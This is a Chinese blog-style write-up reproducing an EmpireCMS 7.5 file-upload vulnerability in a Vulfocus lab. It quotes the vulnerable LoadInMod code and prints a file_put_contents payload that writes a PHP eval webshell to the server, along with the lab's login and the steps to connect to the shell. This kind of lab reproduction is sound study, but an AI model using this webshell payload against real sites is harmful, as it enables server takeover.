900字范文,内容丰富有趣,生活中的好帮手!
900字范文 > 【漏洞复现-EmpireCms-文件上传】vulfocus/empirecms-cve__18086

【漏洞复现-EmpireCms-文件上传】vulfocus/empirecms-cve__18086

时间:2019-04-15 12:03:10

相关推荐

【漏洞复现-EmpireCms-文件上传】vulfocus/empirecms-cve__18086

前言:

介绍:

博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。

殊荣:CSDN网络安全领域优质创作者,双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

擅长:对于技术、工具、漏洞原理、黑产打击的研究。

C站缘:C站的前辈,引领我度过了一个又一个技术的瓶颈期、迷茫期。

导读:

面向读者:对于网络安全方面的学者。

本文知识点(读者自测):

(1)新建上传、特定后缀文件(√)

让读者如虎添翼

目录

一、靶场环境

1.1、平台:

1.2、知识:

1.3、描述:

1.4、漏洞分析:

二、漏洞验证

2.1、分析:

2.4、解题:

一、靶场环境

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:48549

123.58.224.8:47450

123.58.224.8:47450

1.2、知识:

1、file_put_contents函数

file_put_contents() 函数把一个字符串写入文件中

语法:

int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )

示例:

<?php file_put_contents("shell1.php","<?php phpinfo()?>");?>

将<?php phpinfo()?>重新创建并写入到shell1.php新文件中(如果不存在这个文件)

该函数访问文件时,遵循以下规则:

如果设置了 FILE_USE_INCLUDE_PATH,那么将检查 *filename* 副本的内置路径如果文件不存在,将创建一个文件打开文件如果设置了 LOCK_EX,那么将锁定文件如果设置了 FILE_APPEND,那么将移至文件末尾。否则,将会清除文件的内容向文件中写入数据关闭文件并对所有文件解锁

1.3、描述:

EmpireCMS 7.5版本中的e/class/moddofun.php文件的‘LoadInMod’函数存在安全漏洞。攻击者可利用该漏洞上传任意文件

1.4、漏洞分析:

漏洞代码位置:/e/class/moddofun.php

//导入模型elseif($enews=="LoadInMod"){$file=$_FILES['file']['tmp_name'];$file_name=$_FILES['file']['name'];$file_type=$_FILES['file']['type'];$file_size=$_FILES['file']['size'];LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);}

转到LoadInMod定义,make_password(10)对文件名进行加密重命名

但是include()直接包含上传的文件,这样就可以绕过重命名的文件

@include($path); 直接包含文件

//上传文件$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";$cp=@move_uploaded_file($file,$path);if(!$cp){printerror("EmptyLoadInMod","");}DoChmodFile($path);@include($path);UpdateTbDefMod($tid,$tbname,$mid);

二、漏洞验证

2.1、分析:

123.58.224.8:47450/empirecms/e/admin/

账号/密码:

admin/123456

(发现需要mod后缀文件)

使用file_put_contents函数,写入文件shell1.php

<?php file_put_contents("shell1.php","<?php phpinfo()?>");?>

解析成功

这次使用函数,写入后门代码

($需要进行转义处理)

<?php file_put_contents("webshell.php","<?php @eval(\$_POST[cmd]); ?>");?>

访问http://123.58.224.8:26156/empirecms/e/admin/webshell.php

(没有提示访问文件不存在,就说明上传成功了)

使用工具进行连接

(文件路径从已知的路径信息中,一点一点推)

可以找到写入的一些文件

2.4、解题:

网络安全三年之约

First year

掌握各种原理、不断打新的靶场

目标:edusrc、cnvd

主页 | 教育漏洞报告平台 ()https://src././

second year

不断学习、提升技术运用技巧,研究各种新平台

开始建立自己的渗透体系

目标:众测平台、企业src应急响应中心

Third Year

学习最新的知识,建全自己的渗透体系

目标:参与护网(每一个男孩子心中的梦想)

时间:一般5月面试,6/7月开始(持续2-3周)

分类:国家级护网、省级护网、市级护网、重大节日护网(如:建党、冬奥等)

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。